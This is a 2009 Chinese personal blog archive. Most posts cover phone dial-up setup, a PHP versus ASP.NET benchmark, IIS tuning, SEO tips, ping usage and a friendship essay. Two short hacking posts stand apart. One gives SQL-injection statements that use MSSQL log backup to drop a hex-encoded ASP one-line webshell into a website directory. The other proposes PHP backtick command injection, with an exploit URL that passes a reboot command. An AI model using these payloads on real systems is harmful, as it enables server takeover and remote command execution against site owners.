Let's Go

笔记本通过3500C蓝牙拨号上网

348272924@qq.com(Let's Go) — Wed, 21 Oct 2009 05:32:47 GMT

先当然要准备的东西有，，笔记本电脑。（当然台式机也可以，不过台式机还是推荐用宽带，毕竟速度快很多。 N72手机（有点废话了）数据线，一张移动的GSM GPRS包了月的手机卡。。一：手机设置：首先将你的手机设置为GPRS接入也就是CMWAP接入，千万不要搞成CMNET接入，否则你这个月的手机费估计不少了，呵呵。（什么，不会。找NOKIA客服。他们会告诉你该如何设置的。。然后将工具-设置-连接设置-分组数据中的接入点改为cmwap（并不是外面的那个接入点，这个是需要手工输入的）。二、电脑设置： 1、安装PC套件肯定是少不了的了。打开套件中的连接到INTERNET-过一会儿会弹出一个对话框，选择设置-点下一步-这里选手动配置连接-接入点填上cmwap，用户名及密码不用填写， OK，设置好了。这里就放在一边不用管了。。 2 、修改电脑注册表内容：（不修改也可以不过就用不了IE了。可以改用OPERA浏览器，不过个人还是习惯用IE所以这里就麻烦一点了）点击“开始”键－－“运行”－－输入REGEDIT 打开注册表-HKEY_LOCAL_MACHINE-SOFTWARE-MICROSOFT-WINDOWS-CURRENTVERSION-INTERNET SETTINGS-5.0，然后在5.0里面建立一个名为User Agent的新项，再在User Agent里建立一个名为Post Platform新项。然后在Post Platform里面建立一个名为OpenWare的新项。建立好后就点一下User Agent这项，选择右边的默认注册表文件，然后双击，在数值数据中输入OpenWare，退出注册表，注册表修改完毕。(大家注意，大小写一定要一样) 3、建立一个新的连接：在IE窗口里的INTERNET选项中，选择连接-建立连接-下一步-手动设置我的连接-用拨号调制解调器连接-输入一个名称-电话号码填*99#-接下来不用填用户名和密码，这样就可以了。 4、IE中internet－连接－选你刚刚建立的连接－设置－在代理服务器上打勾，但不要在这里输入代理地址，然后选择高级，在HTTP那里设置10.0.0.172.端口80，确定退出。好了，打开网络连接，进行拨号，就可以用IE 上网了。如果要上QQ 同样在代理服务器里设置为10.0.0.172.端口80。。同理，不管什么软件需要连上网络只要设置为代理上网就可以。最后提醒一下，最好把CMNET的连接删掉，就绝对不会出现在包月费以外的费用了。。...........................

ASP.NET比拼PHP，谁是速度之王？

348272924@qq.com(Let's Go) — Sat, 10 Oct 2009 12:39:53 GMT

刚刚在9月编程语言排行榜上取得历史性突破的PHP在Web开发领域最到的对手可能就是基于微软.NET技术的ASP.NET。近日，微软的Joe Stagner在博客上发表了一系列文章比较了PHP和ASP.NET性能方面的文章，引起了来自双方程序员的大量回应。Joe表示，他会将这样的测试持续下去，并寻求更为合适的方式，以获得对实际项目来说尽可能有参考价值的结论。
Joe在博客中称，一般来说，作性能测试的目的是要尝试证明一方比令一方要快。我受雇于微软，同时编写PHP和ASP.NET代码。我在.NET出现之前就在使用PHP，两个东西我都很喜欢。
所以，我很难说出哪个更好。当我说PHP好话时，我的微软同事们会写信来批评我，而当我发表倾向于ASP.NET的言论时，我的PHP朋友们会说我是微软的托。
我进行这个测试是因为每个人都对PHP的性能有自己的看法（Windows vs. Linux & 5.2 vs. 5.3），却没人能给出明确的数据。
ASP.NET比拼PHP的测试环境如下：
◆所有的测试都在同一台机器上运行（拥有4G内存和60G 7200转硬盘的Toshiba Tecra M5）。
◆Ubuntu 9和Windows Server 2008标准版分别安装于独立（但相同）的硬盘中。
◆Linux使用Apache2，Windows使用IIS 7作为各自的Web服务器。
◆双方的操作系统都进行了完整的patch或升级。
◆双方的系统和运行时都没有进行额外的性能增强。
从实验结果上看，PHP在Linux和Windows的执行性能各有千秋：
◆纯粹的语句执行在Windows上表现更好。
◆函数调用在Windows上更快。
◆对象的创建和访问，对于PHP 5.2来说在Linux上更快，但是对于PHP 5.3来说则是Windows更快。
◆类库调用在Linux上快得多（如在Ubuntu上进行加密要比Windows要快3到5倍）。
Linux与Windows平台对比
在Linux上访问文件性能略高于Windows，不过Windows上文件复制的性能要比Linux慢60%，可能是ACL高级安全的缘故。
在Linux上访问MySQL要比Windows快不少，而且在Windows上运行PHP 5.3的情况则更为恶劣（不过从下面PostgreSQL的情况上来看，这应该是糟糕实现的缘故）。
PostgreSQL在两个平台上的性能非常接近（1000个操作的差距在0.06秒之内）——无论是PHP 5.3还是PHP 5.2，Windows上表现都略胜一筹。
Windows上PHP 5.2访问MS SQL Server的性能稍逊于在Linux上访问MySQL（此时还没有面向PHP 5.3的SQL Server支持）。
对于纯粹的PHP执行性能来说，Linux和Windows相差无几，这不会成为选择Linux或Windows作为部署平台的决定性因素。如果你在构建一个应用程序，那么PostgreSQL可能是更好的选择。因为它在两个平台上的表现都很优秀。
如果你的应用程序必须使用MySQL，那么选择Windows就需要早些计划扩展性问题了（个人认为Sun不太可能为Windows优化MySQL的性能）。
PHP的第一个版本的SQL Server驱动程序要比MySQL或PostpreSQL要慢一些，但这应该不会成为问题。第二个版本的驱动器正在开发之中，它会带来性能提升。
在Joe看来，全面来看，PHP和IIS团队在执行性能上已经做的非常成功，接下来就需要各开源程序的团队（Drupal、WordPress、Joomla等等）为各平台进行性能优化了。
不过，除了文件复制操作之外，ASP.NET在性能方面全面领先于PHP（无论部署在Linux还是Windows上面）：
Linux上访问MySQL的性能稍稍优于Windows上访问SQL Server的性能（使用普通的数据类型和SELECT语句）。但是这里的差距几乎可以忽略不计。
ASP.NET（C#）操作，如对象使用，类库调用等等，其性能都远高于PHP。对于这个测试结果，Joe补充道：
我知道我的一些PHP朋友和Linux伙计们要跳出来驳斥我的测试和结果了。
我一直在思考，这样的性能比较是否需要加入一些高级的优化选项。不过.NET方面也有例如多线程，异步请求，和各种缓存方式可以使用
请注意——我并没有说“ASP.NET更快，所以你不应该使用PHP！”，我使用认为，PHP过于简单导致对某些高级应用来说有些举步维艰，就像ASP.NET在项目早期会有学习方面的复杂性。
对我来说，PHP最令人兴奋的地方不是它的语言/平台，而是成千上万聪明的PHP开发人员，以及各种优秀的项目（如Drupal、Joomla、WordPress、PHPBB、Nuke等等）。
可以这么认为，PHP在Windows和Linux上的性能处于同一个水平上，我现在终于可以为Windows编写那些我盼望着许多年的PHP类库了。
Joe还公开了测试代码。他表示，如果你对这个测试的结果有疑义，可以亲自进行这个实验，或是编写你自己的测试代码进行试验。
文章发布之后，许多网友对这一测试结果发表了看法。Joe基本上逐一回复了其中的主要观点：
“我使用ASP.NET只是因为我喜欢Visual Studio IDE”——我个人认为Visual Studio是最有生产力的开发工具。但是，PHP的有不错的选择。我使用Zend Studio，PHPEd，Komodo，Delphi for PHP，这些都很不错。我讨厌Eclipse，不过Zend也在这方面为PHP开发做了不少扩展。
应该比较ASP的性能——不用了，谢谢。旧式的ASP与目前的PHP与ASP.NET差距太大了。做这种比较，似乎是在建议使用ASP开发新项目，我强烈不建议你这么做。
32位与64位系统对比
32位与64位系统之间的比较——这些测试的目的并不是为了体现64位系统上的性能差距。今后的测试我会增加64位的场景。
“PHP丑陋至极”——哦，我不同意。旧式ASP要丑陋多了。你可以写出非常可怕而丑陋的PHP代码，也可以写出丑陋而可怕的C#或VB代码。同样，你也可以写出优雅的C++样式的PHP。这完全只和开发人员的技能有关。
应该使用Windows上的Apache进行测试——Apache是Linux上的服务器，不过我认为如果你在Windows上不使用IIS 7则会损失太多太多东西了。
“有办法在Win2K8中，在不损失安全性的前提下加快文件复制性能吗？”——似乎不行。我认为这涉及到Windows服务器上的ACL系统。我以后可能会测试通过数据流读取文件的性能，有些东西的性能可能会有所改善。不过，Web应用程序一般不会编程来复制大量文件。
“PHP一直是，也永远只是一个半专业性质的环境”——这种说法狗屁不通。PHP平台上有许多专业的，高质量的应用程序，也有很多我非常尊敬的开发人员。是否专业是开发人员的问题，不是PHP或ASP.NET的问题。
“我认为比较没有opcode缓存的PHP很不公平，.NET是编译执行的，而PHP需要每次都解释并‘编译’页面”——我同意这个测试可能不够完整，但是我不认同这个逻辑。我测试PHP的方式，就和下载安装的方式一样。我的虚拟主机也没有安装op-code缓存。而事实上，ASP.NET自带这个特性也并不意味着测试是不公平的，这是因为PHP缺少这个特性——不过这个要求很合理，我正在准备新的测试。
“说PHP不是一个‘专业的’语言很没道理，因为几乎所有最大的站点都是用PHP构建的”——这种说法是没道理，不过说那些站点“几乎都是”用PHP构建的也是错误的。有些是，有些不是。
如果你们看到这一数据之后对ASP.NET信心倍增我自然很高兴。如果我不认为.NET是开发Web应用程序来说是一种更好的选择——至少不属于其它平台，那么我也不会在微软工作了。
但是……如果你因为这些数据而忽视PHP，也是错误且幼稚的行为。
从纯技术角度来说，我认为.NET远比PHP强大，但这并不意味着PHP不够强大。在我看来，PHP的力量体现在众多的应用程序以及可用的框架。
大约一周以后，Joe公开了第二次测试的结果。与前一个测试相比，第二个测试主要有以下两个改变：
为Linux和Windows上安装了op-code缓存，并重新运行了大部分测试。
由于一些依赖项的问题，PHP 5.3 + APC的测试平台变成了Debain 5操作系统。
对于第二次测试及其结果，Joe解释到：
从结果上看，Ubuntu和Debian上运行PHP的性能差距可以忽略不计。部分条目的性能有些细小的改进，有些则有25%的提高，但是总体来说其效果比我想象中要来得低。
使用APC之后，一些条目的运行反而变慢了，不过我认为这只是机器所造成的误差。请注意，表格中显示的不是第一次的结果，都是经过两次刷新，确认是在缓存命中时得到的结果。
我认为现在的测试非常公平。
空的循环测试和空的函数执行非常重要，因为这反映了语言或平台的基础消耗。这是处页面传输等性能开销外的性能消耗，是一个重要的考虑方面。
我的一些PHP朋友也认可这个测试的准确性，不过给出了非常有见解的补充：
ASP.NET在性能上的领先不会对我有什么影响。PHP是我的最爱，我的应用程序已经足够快了。没错，ASP.NET在基础性能上是比较快，但是我的应用程序可以通过优秀的页面实现和JavaScript实践把这部分性能补回来。
此外，根据上一次实验的结果，在Windows平台上运行PHP时，在MySQL和文件的访问上有一些性能问题，微软许多团队都向我获取了相关信息。希望这些数据都够转变为切实的改进。
Joe表示，他将收集大家认为更公平，更有意义的测试场景。以下是他所计划的测试项目：
◆实际页面测试：循环，寒暑调用和对象操作是一类测试，不过页面的整体呈现则是另一种有意义的测试。
◆负载测试：哪一个环境可以同时处理更大量的请求。
◆在负载测试中，哪一方的性能会下降地更快。
◆在各种情况下，64位平台的表现如何。
国内也曾经进行过PHP在Linux和Windows平台上的性能测试。InfoQ曾经报道过微软在WordCamp China 2009大会上公开了之前与康盛创想合作进行的性能评估结果：在Windows Server 2008 + IIS上运行PHP，从平均相应时间，每秒处理的请求数，以及数据吞吐量等多方便均优于Linux + Apache的托管方式。

缩短IIS应用程序池回收时间，减少IIS假死现象

348272924@qq.com(Let's Go) — Sat, 12 Sep 2009 09:57:44 GMT

系统中iis(微软的WEB服务器平台)日志：
　　应用程序:ISAPI ’C:\WINDOWS\system32\inetsrv\asp.dll’ 报告它自身有问题，原因如下: ’ASP 不正常，因为执行请求的 100% 被挂起，而且请求队列已经使用了 0%。’。
　　关于server 2003+iis(微软的WEB服务器平台)6 出现 ’ASP 不正常，因为执行请求的 100% 被挂起
现象如下:
　　站点无法打开,或者打开很慢.HTML可以打开.重新启动或者回收应用程序池可恢复.但过一段时间又会出现日志里会有:
　　ISAPI ’C:\WINDOWS\system32\inetsrv\asp.dll’ reported itself as unhealthy for the following reason: ’ASP unhealthy because 100% of executing requests are hung and 6% of the request queue is full.’. 或者:
　　ISAPI ’C:\WINDOWS\system32\inetsrv\asp.dll’ 报告它自身有问题，原因如下: ’ASP 不正常，因为执行请求的 100% 被挂起，而且请求队列已经使用了 0%。’。解决方法:
　　1.asp是否正确映射到’C:\WINDOWS\system32\inetsrv\asp.dll’
　　2.一般来讲,是由于在同属iis(微软的WEB服务器平台)的应用程序池出现了某个站ASP代码错误所致,使得内存耗尽,检查代码本身的问题.可以隔离到单独应用程序池调试
　　3、减少应用程序池回收时间。默认为：1740。。可设为120（每2小时）
iis(微软的WEB服务器平台)假死的原因：
　　打开iis(微软的WEB服务器平台) 你就会看到应用程序池，默认只有一个应用程序池，查看应用程序池的属性，会发现他的回收时间，默认多达，1740分钟，就是说，需要在1740分钟后才回收此应用程序池，如果在这个时间内，达到请求的最高限制，那么就会出现ASP假死的情况，这个就是大型网站出现假死的情况，反而，小型网站确不会出现这样的情况，因为他请求少，流量少，还没达到限制数量。当然要看你的服务器上网站数目而定。
以下是解决方法:
　　资料一
　　单个网站解决方法:
　　把应用程序池回收时间缩短到300-600分钟，其间回收过程中，需要占用一点CPU资源，没办法，为了稳定性，再把回收时间设为凌晨5点。多网站解决方法：
　　视服务器网站的多少，新建多个应用程序池，把每个池回收时间缩小到300分钟，然后再分配每个池10个网站左右(这个分配是要求你的网站访问量所定)如果某个网站，访问量大，就单独给他一个程序池，但是这样做的后果就是需要大内存，一个池现在占用我120M内存左右，反正内存大，没关系，
　　那么多网站如何分配应用程序池，打开iis(微软的WEB服务器平台)--查看你要分配的网站属性，查看主目录--在下面你就会看到应用程序池了，分配一个就行了。
资料二
　　大家在使用iis(微软的WEB服务器平台)6时..如果装了动网论坛.肯定有出现过iis(微软的WEB服务器平台)6假死现像..就是asp网页打开慢..但是iis(微软的WEB服务器平台)却是正常的..静态网页打开速度一样..这时候..我一直是重启的方法..查了官方的资料结果没有...据官方资料说..win2003很快就要打这个补丁了..是iis(微软的WEB服务器平台)6对access(小型网站之最爱)驱动支持不理像..也算是一个bug吧..由于我的服务器虚拟主机多..而且大多支持asp..如果一旦假死就无法运行..在多方面的资料查找下..找到了一个比较简单的方法..具体我测试是通过了..iis(微软的WEB服务器平台)6自带数据应用程序池..现在就利用他来解决假死..
　　首先把bbs设一个单独的目录..然后点击应用程序池..新建应用程序池.输入应用程序池id..
　　然后把bbs的虚拟目录下面的.就用程序池..选择刚才新建的应用程序池...
　　然后再回到刚才设好的应用程序池...点击..属性...把回收工作进程数(分钟)及回收工作进程数还有在下列时间回收时间进程勾上..然后在下列时间回收程序池里左边添加..选择一个时间..一般来说..网站到凌晨3点的时候.基本人都很少了..这时回收一下bbs的进程数..就可以解决了iis(微软的WEB服务器平台)假死的现像..
　　当然还可以配置其他信息..比如说iis(微软的WEB服务器平台)6的用户名.. 我们可以打开计算机管理..然后打开计算机用户管理..添加一个用户..设置好后..在应用程序池里面..标识..把添加的用户放上去..用用户来测试回收的进程..当然还有..其他配置..其实很简单..只要好好看一下..就能明白意思...
　　也可以借助专用的工具来回收应用程序池..这样方便而且快捷..iis(微软的WEB服务器平台)的备份.虚拟主机ip的统一修改及端口访问的ip记录..用批处理是一个很简单又方便的方法.所以.把一台服务器做的安全..并不是哪么容易的事..特别是iis(微软的WEB服务器平台)..经常去官方网站搜索资料是一个好习惯..还有就是经常性的访问日志..及注册表的用户还有加载运行的程序.及服务也是一个好方法．

酒逢知己千杯少，话不投机半句多。

348272924@qq.com(Let's Go) — Fri, 11 Sep 2009 05:34:06 GMT

常言道：人生难得一知己，酒逢知己千杯少，话不投机半句多。
　　知己就是相互有说不完的话题，没有逃离和厌倦，这才是真正的朋友。正如我的签名所说的：朋友是身边的那份充实，是远隔千山万水如潮的思念，是忍不住时想拨的号码，是深夜长坐的那杯茶，是悠闲时最想见的身影，最忙时也不忘的牵挂。
　　人生得一知己，足矣。人生所有的追寻其实就是心灵的寻觅，找一个能够读懂你的人。如果你创造的再多，拥有的再多，没有知己，你也只是个孤雁，茕茕且立，且然一身，形影相吊。能够得到知己是你人生最大的安慰，也是你人生精彩的亮点，知己不同于爱人，如果能够结合，那是最完美的。现实生活中的我就非常的幸福，因为我的爱人就是知己，非常的难能可贵，我很满足也很骄傲，这就是歌曲所唱的“知心爱人”吧。
　　茫茫人海，纭纭众生，有几个人能寻的知己呢？又能够维持多久呢？
　　人生很微妙的还是“红颜知己”，如果两个人在灵魂上得到共鸣，必然就会导致情感的萌发，这是异性的造化。这种情感是在不知不觉中产生的，你无法控制，甚至觉察不到，当有一天你突然发觉，可是已经深深的陷了进去，这个时候怎么办？这个时候就看两个人的心理素质和修养了，双方都要用平和的心态从横向看对方的人生、世界观和家庭，纵向看自己的现实、家庭寻找幸福的参照物，从道义和伦理上寻找答案，就能找到理想的临界点。不需要什么许诺，不追求得失，要得是自然和信任，要得是互诉彼此的情感，要得是互相鼓励，要得是相互承载喜怒哀乐，要得是相互的思念和牵挂。异性之间不相恋肯动成不了知己。
　　人生多少空虚伤痕，多少孤独苦闷，多少悲欢离别，多少激动欢畅，多少多少的思念牵挂，需要一个知心的人与你共同分担，只有知心人才能够陪你一起痛苦一起欢快，只有知心人才能够陪你一起抵御世间的风雨和冷酷，你的心便不会感觉寒冷。
　　红颜知己和蓝颜知己之间，其实就是彼此把心当作茶在品味,自然随和.它懂得在适当的时候飘然而来飘洒而去, 适时的时候一起攀登心灵的高峰去享受人性中的至善、至美、至尊、至爱.但要进入这一境界确实不易,必须要有良好的品格、道德涵养、文化层次、博大的胸襟等基本条件,超越了友情的界线就不可能。所以，对绝大多数人而言，是不可能有也不配有红颜知己或蓝颜知己的，他们只能有情人，因为他们的占有欲太强，品格、涵养和胸襟也不够。
　　能有一个永远的红颜或蓝颜知己，是一个品味男人和一个品味女人生命中最美丽的风景线。是人都会孤独，都会寂寞，都会有七情六欲，试想，当两个人都面对最迷人的相貌、姿色和身体时，都会发自心灵深处的认为，在拥有对方的心灵慰藉、拥有彼此之间的相知相惜相爱面前，得到对方的身体根本就不屑一提，哪怕是在紧紧相拥甚至是同房单处时也不例外。两个人之间没有任何利益关系和欲望，却能真诚无所求地给予爱和关心，心中永远是彼此默默的祈祷默默的祝福。在这个浮躁和人欲横流的**，彼此之间都获得一颗宁静、舒畅、自信、奋进的心，成为生命中最美最好的润滑剂。谁会否认这是一道最美丽的风景？
　　当然,只有经历过的人才能体味到其甘甜入腑的快意和美感. 这异性知已的成形需要一个过程，是异性好朋友的升华和超越是人性的临界点.
　　是啊，人生难得一知己,千古知音最难觅,能走进你心里的知心朋友已是蜀道难之难于上青天.如能有其一红颜知己此生已足!也不枉人生一世.能够得到加倍珍惜!
　　红粉知己，也被人称作红颜知己，是男人对妻子外的知己女友的美称。红颜知己非床上用品，所以想做男人的红颜知己并非每个女子都能幸运成就。能做红颜知己的女子需要具备几个条件，除了貌美、还要睿智、温婉、细腻；有才华（至少要略懂琴棋书画、歌舞粗通）、博览群书、有问必答。这样，男人有了问题才能与你探讨，有了无法对妻子讲的烦恼才会向你倾诉、偶尔还可以欣赏你的才华展示。男人为什么找女人做知己，不是男人有许多同性朋友么？主要是男人们之间的豪爽大气，阻碍了男人对细腻、柔弱一面的表露，男人很难在男人面前流露自己的脆弱，他会觉得有失体面。而女人的温良恰恰是他可以释放情怀之地。所以男人能有一个红颜知己是他的幸运，我认为这是男人在求一种互补，妻子不具备的有女友补充。男人的压力总比女人大些，男人需要释放，这也是男人的一种释放方式吧。也不是所有男人都有这种幸运，哪有那么多好女子，独独愿做你的红粉知己？男子也要具备拥有红粉知己的条件吧？一个优秀的男人，才可能、才有机会遇到同样优秀的女子，而且要两情相悦、意趣相投，才可能成为他的红颜知己。不能否认有些红粉知己，最后沦落为地下情人，也有的成为人们不齿的第三者。

网页设计师需要掌握的11项SEO技巧

348272924@qq.com(Let's Go) — Thu, 03 Sep 2009 05:00:03 GMT

现在的网页设计师不仅设计网页的外观和风格。他们也常常负责主要前端代码的编写。换句话说，SEO（搜索引擎优化）的相当一部分责任落在设计师的肩上。然而大量网页设计师对这个领域的熟悉程度仍不足以让他们写出一个对搜索引擎充分优化的网页。
本文旨在为普通，甚至部分高级网页设计师提高SEO技巧提供一些重要的窍门。
1. 让代码比设计更美
搭建网页前端的时候，使用有语义的代码。用描述性的标签组织页面结构，可以提高内容对搜索引擎的可读性。这也会让修饰页面的工作变得更简单干净。
2. 使用关键字，但要把握分寸
关键字是指描述主要内容的词语。有策略地在页面中安放关键字是很重要的，例如在URL、标题标签（title tag）以及主要的抬头标签（heading tag）中。在正文中经常使用关键字也很重要，但是不能过度，否则你的文章可能因关键字堆砌遭到惩罚。
3. 避免使用Flash作导航栏
无论华丽的下拉列表效果如何诱人，不要使用它。搜索引擎不能顺利读取Flash文件中的内容，所以Flash导航栏中的链接将无法被跟踪。
4. 使用不同的页面标题
你的网站的每个页面都应该有标题属性，而每个页面的标题应该各不相同。如果每个页面的标题都一样的话，搜索引擎会理解为你的网站的每个页面都是相同的主题。
5. 不要忘记图片
好好利用图片的alt属性，合理地描述它。搜索引擎再怎么聪明，它们也看不懂图片。忽略这点会让你损失大量图片搜索的流量。
6. 不要使用通用链接
搜索引擎非常重视链接。所以当链接到相关内容时，请使用能确切描述该内容的文字。比如，当你为浏览者提供更多Photoshop信息的链接时，使用诸如“关于Photoshop的更多信息”的描述，而不只是“更多信息”。
7. 忌用图片代替文字
作为设计师，我们总是希望作品越美观越好。于是有时我们会用一张漂亮的图片替换掉浏览器上难看的标题文字。请尽量避免这样做。我前面说过，搜索引擎不能理解图片的内容，而这里应该是你写关键字的地方。
作者注：这一点我貌似误导大家了。事实上我们有办法用图片达到目的，比如FIR。
8. 慎用AJAX
Ajax加强用户体验的效果很赞，但是请不要过度使用。Ajax生成的内容无法被链接到。一个不错的thumb原则是：如果你用Ajax加载的可能是一个独立页面，就尽量不要使用它。
9. 尽快被收录
让网页尽快被搜索引擎收录的方法之一是，尝试搞到高人气的相关利基网站的内链。提交给谷歌也是一个选择，不过这有时会花好几天时间，运气不好的话几个星期也有可能。
10. 争取内链
内链的数量和质量对网站在搜索结果中的位置有很大影响。让大伙链接到你的网站的一个好办法是提供高质量和原创的内容。另一个办法是大方为别人的网站提供链接。
11. 坚持同样的URL
你要创建网站时，请从一开始就决定好是否要使用“www”。一旦决定好了就不要再改。搜索引擎会把www.045200.com和045200.com看作两个不同的重复的网站，而搜索引擎不喜欢重复的网站。
你还有别的SEO技巧吗？不如跟我们分享一下。

mssql备份数据库获取webshell

348272924@qq.com(Let's Go) — Thu, 13 Aug 2009 18:46:59 GMT

;create table cmd (a image)--
;backup log 9linux to disk = 'c:\Sammy' with init--
;insert into cmd (a) values (0x3C25657865637574652872657175657374282278222929253E)--
;backup log 9linux to disk = 'd:\website\x.asp'--

PHP漏洞挖掘的一点思路

348272924@qq.com(Let's Go) — Thu, 13 Aug 2009 18:46:32 GMT

$now1 = `date`;
echo "Now date is: $now1";
?>/*
利用PHP的反引号` (不明白的自己查资料反引号"`"的作用)
如果 $sec 变量未赋初值，可能导致 shell_exec 执行系统指令
*/echo "$sec"; // 同理这个也可能. echo $sec;
?>EXP:
http://forum.eviloctal.com/exp.php?sec=`reboot`
这样只会把 $sec 当作变量来处理，需要适当的变通一下。。。今天翻书时无意间发现的，还没测试，有兴趣的朋友可以研究下。
PS:
变量在内存中初始化,一直保存在内存中。未unset, 就可以读取!

教你学习PING命令

348272924@qq.com(Let's Go) — Sat, 18 Jul 2009 16:17:20 GMT

在网络中Ping 是一个十分好用的TCP/IP工具。它主要的功能是用来检测网络的连通情况和分析网络速度。在我们的赛迪网技术社区里有这样一篇帖子《PING命令详解》对ping命令进行了详细解释：　
　　Ping有好的善的一面也有恶的一面。先说一下善的一面吧。上面已经说过Ping的用途就是用来检测网络的连同情况和分析网络速度，但它是通过什么来显示连通呢？这首先要了解Ping的一些参数和返回信息。
　　以下是PING的一些参数：
　　ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list
　　........
　　-t
　　Ping 指定的计算机直到中断。
　　-a
　　将地址解析为计算机名。
　　-n count
　　发送 count 指定的 ECHO 数据包数。默认值为 4。
　　-l length
　　发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节；最大值是65,527。
　　-f
　　在数据包中发送"不要分段"标志。数据包就不会被路由上的网关分段。
　　-i ttl
　　将"生存时间"字段设置为 ttl 指定的值。
　　-v tos
　　将"服务类型"字段设置为 tos 指定的值。
　　-r count
　　在"记录路由"字段中记录传出和返回数据包的路由。count 可以指定最少 1 台，最多 9 台计算机。
　　-s count
　　指定 count 指定的跃点数的时间戳。
　　-j computer-list
　　利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。
　　-k computer-list
　　利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。
　　-w timeout
　　指定超时间隔，单位为毫秒。
　　destination-list
　　指定要 ping 的远程计算机。
　　Ping的返回信息有"Request Timed Out"、"Destination Net Unreachable"和"Bad IP address"还有"Source quench received"。
　　"Request Timed Out"这个信息表示对方主机可以到达到TIME OUT，这种情况通常是为对方拒绝接收你发给它的数据包造成数据包丢失。大多数的原因可能是对方装有防火墙或已下线。
　　"Destination Net Unreachable"这个信息表示对方主机不存在或者没有跟对方建立连接。这里要说明一下"destination host unreachable"和"time out"的区别，如果所经过的路由器的路由表中具有到达目标的路由，而目标因为其它原因不可到达，这时候会出现"time out"，如果路由表中连到达目标的路由都没有，那就会出现"destination host unreachable"。
　　"Bad IP address" 这个信息表示你可能没有连接到Dns服务器所以无法解析这个IP地址，也可能是IP地址不存在。
　　"Source quench received"信息比较特殊，它出现的机率很少。它表示对方或中途的服务器繁忙无法回应。
　　怎样使用Ping这命令来测试网络连通呢？
　　连通问题是由许多原因引起的，如本地配置错误、远程主机协议失效等，当然还包括设备等造成的故障。
　　首先我们讲一下使用Ping命令的步骤。
使用Ping检查连通性有五个步骤：
　　1. 使用ipconfig /all观察本地网络设置是否正确；
　　2. Ping 127.0.0.1，127.0.0.1 回送地址Ping回送地址是为了检查本地的TCP/IP协议有没有设置好；
　　3. Ping本机IP地址，这样是为了检查本机的IP地址是否设置有误；
　　4. Ping本网网关或本网IP地址，这样的是为了检查硬件设备是否有问题，也可以检查本机与本地网络连接是否正常；(在非局域网中这一步骤可以忽略)
　　5. Ping远程IP地址，这主要是检查本网或本机与外部的连接是否正常。
　　在检查网络连通的过程中可能出现一些错误，这些错误总的来说分为两种最常见。
　　1. Request Timed Out
　　"request time out"这提示除了在《PING(一)》提到的对方可能装有防火墙或已关机以外，还有就是本机的IP不正确和网关设置错误。
　　①、IP不正确：
　　IP不正确主要是IP地址设置错误或IP地址冲突，这可以利用ipconfig /all这命令来检查。在WIN2000下IP冲突的情况很少发生，因为系统会自动检测在网络中是否有相同的IP地址并提醒你是否设置正确。在NT中不但会出现"request time out"这提示而且会出现"Hardware error"这提示信息比较特殊不要给它的提示所迷惑。
　　②、网关设置错误：这个错误可能会在第四个步骤出现。网关设置错误主要是网关地址设置不正确或网关没有帮你转发数据，还有就是可能远程网关失效。这里主要是在你Ping外部网络地址时出错。错误表现为无法Ping外部主机返回信息"Request timeout"。
　　2. Destination Host Unreachable
　　当你在开始PING网络计算机时如果网络设备出错它返回信息会提示"destination host unreachable"。如果局域网中使用DHCP分配IP时，而碰巧DHCP失效，这时使用 PING命令就会产生此错误。因为在DHCP失效时客户机无法分配到IP系统只有自设IP，它往往会设为不同子网的IP。所以会出现"Destination Host Unreachable"。另外子网掩码设置错误也会出现这错误。
　　还有一个比较特殊就是路由返回错误信息，它一般都会在"Destination Host Unreachable"前加上IP地址说明哪个路由不能到达目标主机。这说明你的机器与外部网络连接没有问题，但与某台主机连接存在问题。
　　举个例子吧。
　　我管理的网络有19台机，由一台100M集线器连接服务器，使用DHCP动态分配IP地址。
　　有一次有位同事匆忙地告诉我"我的OUTLOOK打不开了"，我到他机器检查，首先我检查了本地网络设置，我用ipconfig /all看IP分配情况一切正常。接着我就开始PING网络中的其中一台机器，第一次PING结果很正常，但outlook还是无法使用其它网络软件和Copy网络文件都可以使用但网络速度很慢，第二次PING我用了一个参数-t(-t可以不中断地PING对方，当时我想PING一次可能发现不了问题)发现有time=30ms和request time out，从服务器PING这台机就更有趣，request time out比正常数据还多，在局域中竟然有time=30ms和request time out太不正常了。开始我认为是网卡的问题但换网卡后故障依旧，重做网线还是不能解决问题，这故障真有趣！最后我没办法了把它插在集线器端口上的另一端的网线换到另一个端口，哈！故障解决了。原来是集线器端口坏了。
如何用Ping命令来判断一条链路的速度？
　　Ping这个命令除了可以检查网络的连通和检测故障以外，还有一个比较有趣的用途，那就是可以利用它的一些返回数据，来估算你跟某台主机之间的速度是多少字节每秒
　　我们先来看看它有那些返回数据。
　　Pinging 202.105.136.105 with 32 bytes of data:
　　Reply from 202.105.136.105: bytes=32 time=590ms TTL=114
　　Reply from 202.105.136.105: bytes=32 time=590ms TTL=114
　　Reply from 202.105.136.105: bytes=32 time=590ms TTL=114
　　Reply from 202.105.136.105: bytes=32 time=601ms TTL=114
　　Ping statistics for 202.105.136.105:
　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
　　Approximate round trip times in milli-seconds:
　　Minimum = 590ms, Maximum = 601ms, Average = 593ms
　　在例子中"bytes=32"表示ICMP报文中有32个字节的测试数据(这是估算速度的关键数据)，"time=590ms"是往返时间。
　　怎样估算链路的速度呢？举个例子吧。我们把A和B之间设置为PPP链路。
　　从上面的PING例子可以注意到，默认情况下发送的ICMP报文有32个字节。除了这32个字节外再加上20个字节的IP首部和8个字节的ICMP首部，整个IP数据报文的总长度就是60个字节(因为IP和ICMP是Ping命令的主要使用协议，所以整个数据报文要加上它们)。另外在使用Ping命令时还使用了另一个协议进行传输，那就是PPP协议(点对点协议)，所以在数据的开始和结尾再加上8个字节。在传输过程中，由于每个字节含有8bit数据、1bit起始位和1bit结束位，因此传输速率是每个字节2.98ms。由此我们可以估计需要405ms。即68*2.98*2(乘2是因为我们还要计算它的往返时间)。
　　我们来测试一下33600 b/s的链路：
　　Pinging 202.105.36.125 with 32 bytes of data:
　　Reply from 202.105.36.125: bytes=32 time=415ms TTL=114
　　Reply from 202.105.36.125: bytes=32 time=415ms TTL=114
　　Reply from 202.105.36.125: bytes=32 time=415ms TTL=114
　　Reply from 202.105.36.125: bytes=32 time=421ms TTL=114
　　Ping statistics for 202.105.36.125:
